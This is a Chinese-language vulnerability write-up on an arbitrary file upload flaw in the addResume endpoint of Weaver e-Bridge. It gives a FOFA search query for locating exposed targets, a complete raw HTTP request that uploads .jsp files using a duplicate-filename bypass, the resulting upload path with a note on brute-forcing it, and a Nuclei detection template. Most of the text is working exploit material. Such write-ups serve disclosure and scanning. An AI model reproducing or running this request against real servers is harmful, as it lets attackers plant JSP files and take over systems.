0x00 漏洞描述
泛微-云桥是一款基于云计算技术的企业级协作与办公平台，提供文档管理、流程审批、项目协作等功能，旨在提升企业内部沟通效率与工作协同能力。 /wxclient/app/recruit/resume/addResume 接口存在任意文件上传漏洞
影响范围
2024.7.25日发布补丁
0x01 测绘工具
FOFA：app=“泛微-云桥e-Bridge”
0x02 漏洞复现
单次请求会删除一次以.jsp结尾的文件，所以当次请求中使用双文件上传(类似文件名双写绕过)
代码语言：javascript复制POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: x.x.x.x
Content-Length: 361
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="1222.jsp"
Content-Type: application/octet-stream
127
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="1222.jsp"
Content-Type: application/octet-stream
127
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
上传到/upload/202408/1-2位大写字母/1222.jsp PS：需要爆破两位字母
0x03 Nuclei检测脚本
代码语言：javascript复制id: 泛微-云桥e-Bridge EC8.0 文件上传
info:
name: 泛微-云桥e-Bridge EC8.0 文件上传
author: admin
severity: high
description: /wxclient/app/recruit/resume/addResume 接口存在任意文件上传漏洞
tags: file upload
requests:
- method: POST
path:
- "{{BaseURL}}/wxclient/app/recruit/resume/addResume?fileElementId=H"
headers:
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: "?0"
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: "1"
Origin: "null"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: "?1"
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
body: |
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
<% out.println("File upload successful"); %>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
matchers:
- type: word
words:
- "success"
part: body
condition: and0x04 修复建议
官方已发布升级补丁包，支持在线升级和离线补丁安装
0x05 免责声明
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